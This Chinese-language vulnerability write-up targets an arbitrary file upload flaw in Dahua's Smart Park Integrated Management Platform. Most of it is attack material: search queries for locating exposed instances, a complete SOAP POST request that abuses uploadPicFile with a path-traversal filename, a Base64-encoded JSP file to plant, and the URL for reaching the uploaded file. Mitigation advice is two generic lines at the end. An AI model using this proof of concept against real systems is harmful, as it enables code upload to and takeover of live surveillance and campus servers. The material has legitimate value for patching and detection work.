声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
一、简介
大华智慧园区综合管理平台是由大华技术股份有限公司(Dahua Technology)开发的一款综合管理解决方案。该平台旨在帮助园区管理者提高管理效率、提升安全水平、优化资源利用,并实现智能化的园区运营。大华智慧园区综合管理平台采用模块化设计和开放式架构,可根据不同园区的需求进行定制和扩展。同时,它还支持云端部署和移动端访问,方便管理者随时随地监控园区运营情况。
二、影响范围
大华智慧园区综合管理平台
三、资产搜索
app="dahua-智慧园区综合管理平台"
body="/WPMS/asset/lib/gridster/"
四、漏洞测试
漏洞利用点为/emap/webservice/gis/soap/poi
接口,当访问接口时出现如下响应体时,基本可认定该漏洞存在。
POC:
POST /emap/webservice/gis/soap/poi HTTP/1.1
Host: XX.XX.XX.XX:8009
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
Cookie: JSESSIONID=A58962636D1422B038BF985177F4C02E; JSESSIONID=ADE54516354577F1C8F8208580883BA2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1378
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:res="http://response.webservice.poi.mapbiz.emap.dahuatech.com/">
<soapenv:Header/>
<soapenv:Body>
<res:uploadPicFile>
<arg0>/../../xxx.jsp</arg0>
<arg1>
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
</arg1>
</res:uploadPicFile>
</soapenv:Body>
</soapenv:Envelope>
在如上POC中arg0是我们访问上传文件的地址,arg1是上传文件的内容
内容部分我们以时间为例,如下:
PCVAcGFnZSBpbXBvcnQ9ImphdmEudGV4dC4qLGphdmEudXRpbC4qLGphdmEuaW8uKiIlPgo8JQpTaW1wbGVEYXRlRm9ybWF0IGRmID0gbmV3IFNpbXBsZURhdGVGb3JtYXQoInl5eS1NTS1kZCBISDptbTpzcyIpOwpvdXQucHJpbnRsbihkZi5mb3JtYXQobmV3IERhdGUoKSkpOwpGaWxlIGZpbGUgPSBuZXcgRmlsZShhcHBsaWNhdGlvbi5nZXRSZWFsUGF0aChyZXF1ZXN0LmdldFNlcnZsZXRQYXRoKCkpKTsKZmlsZS5kZWxldGUoKTsKJT4=(该部分内容为Base64编码后的字符串)
将该部分内容放在arg1中
访问URL地址:http://url/upload/***.jsp
四、修复建议
1、 做好安全补丁。
2、 访问来源进行限制,避免暴露在公网以及不安全的网络环境当中。